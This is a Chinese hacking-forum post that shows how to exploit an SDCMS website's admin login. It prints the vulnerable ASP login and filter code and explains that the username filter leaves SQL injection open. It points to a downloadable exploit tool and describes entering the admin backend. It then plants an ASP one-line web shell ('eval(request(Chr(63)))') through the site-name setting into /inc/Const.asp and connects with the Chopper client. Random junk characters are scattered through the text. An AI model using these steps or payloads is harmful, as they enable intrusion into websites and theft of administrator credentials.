作者:T00LS 鬼哥
1 B$ C8 ]& a3 _, P2 R& o) c5 c漏洞文件:后台目录/index.asp2 O. F& @3 }' x. L- x: k7 Z& Q
! k" U6 [1 a, U9 PSub Check
, x- _* f1 |9 b: ? l1 c. g3 H2 X% ~1 p Dim username,password,code,getcode,Rs
8 Z9 x j1 A0 k/ i$ x IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub1 j! l4 K6 e0 j
username=FilterText(Trim(Request.Form("username")),1)0 T) g+ ~0 S! x+ d/ z; n% w7 x. t
password=FilterText(Trim(Request.Form("password")),1)
7 ?& E- B: y3 k% ^3 E; ]6 e3 T code=Trim(Request.Form("yzm"))3 i; o! N0 k$ e' `' `
getcode=Session("SDCMSCode")
3 B. d# F, N7 C/ [2 p IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died
5 s- f& o# k3 U) {: z# e. n IF code="" Then Alert "验证码不能为空!","javascript:history.go(-1)" ied
- V: @; E/ v4 X/ o IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字!","javascript:history.go(-1)" ied
5 m; @8 ^( Y4 E+ G6 Q) w$ \ IF code<>getcode Then Alert "验证码错误!","javascript:history.go(-1)" ied8 @5 E8 r; m- R/ Z7 F
IF username="" or password="" Then) p2 A$ @1 w! g8 d, g
Echo "用户名或密码不能为空" ied
8 [3 N& a( t1 O6 k Else$ e( u; s( T) |) K' {* `
Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")
! b5 i- F( n8 k W- O0 [ IF Rs.Eof Then
) g7 q3 N6 ?0 v; X2 y$ m3 B AddLog username,GetIp,"登录失败",1$ }) L% c4 f1 u) x7 |
Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"
/ B9 O; o/ I9 x* j( w( N0 t6 W Else9 [! C% _% F4 l" X. x4 r
Add_Cookies "sdcms_id",Rs(0)1 W0 c( d/ s' U
Add_Cookies "sdcms_name",username+ R1 \2 l% V \7 E4 H5 \
Add_Cookies "sdcms_pwd",Rs(2)
1 S# ~8 Q- e6 X* C; U$ ?9 E; m Add_Cookies "sdcms_admin",Rs(3)
7 l0 b) i: N& v' G0 ] Add_Cookies "sdcms_alllever",Rs(4)3 B6 B, t5 z4 c. C3 C8 n
Add_Cookies "sdcms_infolever",Rs(5)
6 R) ]( p$ P h3 E3 v# N9 G Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")2 E5 ~8 I7 t& S' n/ K! r( ~# Y
AddLog username,GetIp,"登录成功",1
3 |# o- q3 c1 n; ^ '自动删除30天前的Log记录
z/ B# o8 ^! C+ u# r% F, C { IF Sdcms_DataType Then
) e9 l: }$ F# d/ R Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")
2 J8 d. o8 L$ |* [ Else$ a8 g$ O' ?, j: E8 O
Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
E: M1 X: c- z% n2 h End IF
- d! p. J. t- p+ c9 G Go("sdcms_index.asp")
' P, P6 ~/ q; R. s! ] End IF
' d9 x6 b, R% o0 v: e% F6 J Rs.Close
4 y- c, E J m: i Set Rs=Nothing
5 Z3 Q3 x7 z: \5 S End IF
0 ~8 `3 e* d6 ]8 S3 L0 D# KEnd Sub$ y& q4 m, Q) S7 R, C9 w' {
3 b) z ~" h: B) W! ?
’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码
/ n: a1 ? ?* D5 B4 K2 _; d$ b% D* F# d* T. Q/ c
Function FilterText(ByVal t0,ByVal t1)
8 O: q% c% c' p7 ~ IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function8 d1 L" h7 x0 h M0 l7 T0 x
t0=Trim(t0)( @% Y- W" v' f2 c, `* f
Select Case t1
: V+ |% b5 X6 y* }0 E& Y( X w Case "1": ]7 W4 b, m+ Z7 t4 Z8 ], \1 z" d$ M
t0=Replace(t0,Chr(32),"")# e: }0 I6 ^9 p! Q
t0=Replace(t0,Chr(13),"")
2 U5 X( |7 R9 t# ^+ V# b t0=Replace(t0,Chr(10)&Chr(10),"")
V. S* ?0 j. m% c" A) G% k t0=Replace(t0,Chr(10),"")
8 r+ ^( U7 s1 q; z6 X. I" B8 m Case "2"' h) T9 G& Y1 m* m# P) @
t0=Replace(t0,Chr(8),"")'回格
* y. g+ Y( G" k2 D t0=Replace(t0,Chr(9),"")'tab(水平制表符)
~6 {" X: W0 K( B8 d4 E t0=Replace(t0,Chr(10),"")'换行5 W3 V; S/ f/ J5 i+ y0 L9 b) N
t0=Replace(t0,Chr(11),"")'tab(垂直制表符)
' U& l- W% F) \$ a# ?/ H/ E t0=Replace(t0,Chr(12),"")'换页
- r* U( t6 g! z9 I7 [/ C3 ^& Z t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合
/ M" r6 f/ H- l$ G+ @% s* u t0=Replace(t0,Chr(22),"")
) [+ {! C! g' ]: i7 @3 c t0=Replace(t0,Chr(32),"")'空格 SPACE
$ {' H5 q1 j% p0 q3 Y, R# p t0=Replace(t0,Chr(33),"")'!3 f: `/ L9 i0 W
t0=Replace(t0,Chr(34),"")'"
5 H9 N2 O+ Q* } t0=Replace(t0,Chr(35),"")'#
, ^2 d5 D9 o7 Y/ t2 ]5 ]8 ^ t0=Replace(t0,Chr(36),"")'$
- _2 A& _/ N9 J9 S& ]" t t0=Replace(t0,Chr(37),"")'%, x5 F5 ~, I2 ?# P1 S6 R j
t0=Replace(t0,Chr(38),"")'&
: }, e! \1 q* s3 ^6 c5 T t0=Replace(t0,Chr(39),"")''
4 q5 I5 ?! c; @9 z4 Y8 z t0=Replace(t0,Chr(40),"")'(
' [( k9 Z* p& Y/ X1 R; J9 w t0=Replace(t0,Chr(41),"")')" k$ ~7 U; F2 G) `8 d+ B; o8 Y
t0=Replace(t0,Chr(42),"")'*" n$ E$ _" E7 U8 q# G7 [
t0=Replace(t0,Chr(43),"")'+
; c$ C" W. I: {- Q7 i) y7 s) Z t0=Replace(t0,Chr(44),"")',
8 p) B U3 h5 m1 i8 m" E; k t0=Replace(t0,Chr(45),"")'-7 l1 d+ p4 y8 N6 i$ g
t0=Replace(t0,Chr(46),"")'.
0 d: k5 }* w+ U$ g t0=Replace(t0,Chr(47),"")'/
8 d o/ s9 v; p' h7 X9 K2 F t0=Replace(t0,Chr(58),"")':6 E# x7 D" `+ Y, o3 C) Z
t0=Replace(t0,Chr(59),"")';" _$ U' R8 z* h& g
t0=Replace(t0,Chr(60),"")'< t0=Replace(t0,Chr(61),"")'= t0=Replace(t0,Chr(62),"")'>3 s- @ _+ d1 E9 C7 a
t0=Replace(t0,Chr(63),"")'?
& s3 K+ `# D/ K6 K: C; N t0=Replace(t0,Chr(64),"")'@; D) E. \- j5 h0 P1 R
t0=Replace(t0,Chr(91),"")'\! y) ~- h% c$ `& |; d6 o# m; |
t0=Replace(t0,Chr(92),"")'\* F2 ?- L& q' z8 x& b
t0=Replace(t0,Chr(93),"")']
, Q) M3 b' E: o+ c: X& {% j t0=Replace(t0,Chr(94),"")'^2 l! f) p& z9 F5 e, j3 g# m8 T
t0=Replace(t0,Chr(95),"")'_
$ t2 O$ E) J* y t0=Replace(t0,Chr(96),"")'`
* e+ p4 b$ o* O; A' A, [/ }4 J t0=Replace(t0,Chr(123),"")'{
1 G! C4 e' I/ ?3 E t0=Replace(t0,Chr(124),"")'|
2 N' X% E5 F* k4 Q- A- S" k D, K t0=Replace(t0,Chr(125),"")'}
; E0 u8 g1 a6 x) w( x, p" w" C t0=Replace(t0,Chr(126),"")'~
- Q8 l% I( h+ b" J Case Else
7 n n% c; @8 Q t0=Replace(t0, "&", "&")+ n2 l2 h3 {' ~" p! ~ u+ a! l
t0=Replace(t0, "'", "'")
! P9 T0 e+ X5 F1 w6 m' E1 J7 w t0=Replace(t0, """", """); @/ R& W) ]1 P; i9 n" z. y
t0=Replace(t0, "<", "<") t0=Replace(t0, ">", ">")
* ?+ u' M' x1 K- W# J; d/ V& C End Select u6 [5 E- C6 n7 v8 W9 b( S
IF Instr(Lcase(t0),"expression")>0 Then
% n# |. C0 l0 ^ e t0=Replace(t0,"expression","e­xpression", 1, -1, 0)
+ _" A' f! d* Q- u7 t0 u End If
4 T+ s; D) c1 _+ F5 z3 s7 e) c FilterText=t0
4 c3 T) g0 x: `End Function
# y. }2 y1 M+ Q+ @6 E
# {2 h/ S U; z看到没。直接参数是1 只过滤
3 n0 Z+ E9 V8 S7 l t0=Replace(t0,Chr(32)," ")
$ p2 d; Y- d" f7 |& o t0=Replace(t0,Chr(13),"")
# g/ I& y0 Q. n! k t0=Replace(t0,Chr(10)&Chr(10),"
4 D" p v+ `' H, Z"), a n9 l" v: {; v8 S. X! k
t0=Replace(t0,Chr(10),"
& V4 v1 Y/ W* ^, j"); E0 o" C# Y. q; G1 Y2 H' D; N
漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!
! [3 F$ ]1 @! L, \- R2 r4 mEXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP
. L1 \- n/ G# Y2 ^ [) |( t* D4 p# C' p' Z4 K7 Q s9 I
测试:
" _0 j2 F9 {* v
9 X) N1 h7 R% h. Z* j
( ^1 o9 x$ v$ [# z( H- F5 ^现在输入工具上验证码,然后点OK
. H4 G" C4 {% f
- L' K% V2 B5 Z: ^. g; t2 Q$ P$ U' X% L5 f0 Q7 j0 Z
看到我们直接进入后台管理界面了,呵呵!6 A& o- q. k! x. w, O
/ }# X b$ Z/ b1 M1 q
x, N4 o. d# s. O; A* S: B1 C% q
( |, V' @$ M. x8 T这样直接进入后台了。。。。
0 z0 m9 l- k, \0 F8 s
$ I2 F: H0 V, U. q( X( n9 s # Y: }8 ~, u4 j, _5 V2 [, N9 X
3 Z. G T* T; Z: y+ ~. M XSDCMS提权:# P# O% }: p; u8 u
8 l$ H1 U" g1 N1 `6 M( l R方法1:访问:/后台目录/sdcms_set.asp 在 网站名称:后面加个 “:eval(request(Chr(63)))’ 即可,直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?8 k& t# J o- |
4 f7 u0 p* Y4 Z/ y y
& d6 L! d6 v F( B
) I0 K; l8 s$ q1 I( W4 W) pOK,现在用菜刀连接下!
3 t& `) m2 c+ ^7 \
" k" D/ U9 d8 N2 r$ s! ]4 v
' ~) Y0 v$ }! ~7 L$ `- V( K0 p# R1 w. K- `0 T
; N; W5 ]! t$ f1 u6 @5 z0 y, p6 C
, H" E% F9 H3 o5 e6 y
|